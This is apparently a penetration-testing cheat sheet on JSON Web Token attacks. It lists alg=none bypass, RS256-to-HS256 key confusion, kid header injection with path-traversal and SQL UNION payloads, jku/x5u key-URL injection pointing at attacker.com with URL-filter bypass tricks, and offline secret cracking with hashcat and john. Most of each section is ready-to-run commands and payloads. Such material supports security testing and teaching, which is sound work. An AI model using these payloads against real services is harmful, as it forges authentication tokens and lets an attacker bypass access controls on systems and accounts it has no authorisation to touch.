jwt

JSON Web Token Attacks

JWTs are signed (HS256/RS256/ES256) or sometimes mis-configured to accept none. The header carries the alg + optionally kid/jku/x5u references. Each is a potential exploitation surface.

1. Anatomy

header.payload.signature — each base64url. Decode w/ jwt_tool or jwt-cracker:

jwt_tool eyJhbGc...   # decode + verify + tamper modes
echo "$JWT" | cut -d. -f1-2 | tr '_-' '/+' | base64 -d 2>/dev/null

2. Attack surface

2.1 alg=none bypass

Set {"alg":"none"} in header, strip signature, send header.payload.:

jwt_tool $JWT -X a    # alg=none attack

Worked on auth0 / pyjwt / many home-rolled libs pre-2017. Still appears in legacy systems.

2.2 HS256 vs RS256 confusion

Server uses RS256 (asymmetric) and verifies w/ public key. Attacker switches alg to HS256 and signs w/ the public key (which the server will use as the HMAC secret):

# Get the public key
curl -s https://target/.well-known/jwks.json | jq -r '.keys[0]'
# Or pull from a redirect / unauth /pubkey endpoint

jwt_tool $JWT -X k -pk public.pem   # alg confusion attack

2.3 kid header injection

kid (key ID) sometimes resolves to a file path or DB key:

{"alg":"HS256","kid":"../../../dev/null"}     // sign with empty content
{"alg":"HS256","kid":"key1' UNION SELECT 'mykey"}  // SQLi in kid lookup

jwt_tool -X i -I -hc kid -hv path chains kid injection variants.

2.4 jku / x5u URL injection

jku (JWK Set URL) tells the server WHERE to fetch keys. If unvalidated, attacker hosts their own:

{"alg":"RS256","jku":"https://attacker.com/jwks.json"}

Then https://attacker.com/jwks.json returns attacker's public key, signed JWT is "valid".

Bypass URL filters via:

• subdomain confusion (https://target.com.attacker.com/jwks.json)
• userinfo (https://[email protected]/jwks.json)
• redirect chains via target's open-redirect

2.5 Weak HMAC secret

HS256 with weak secret crackable offline:

hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
john --format=HMAC-SHA256 jwt.txt --wordlist=rockyou.txt

Hashcat mode 16500 = JWT. Service-account secrets often dev/secret/ changeme/company-name patterns.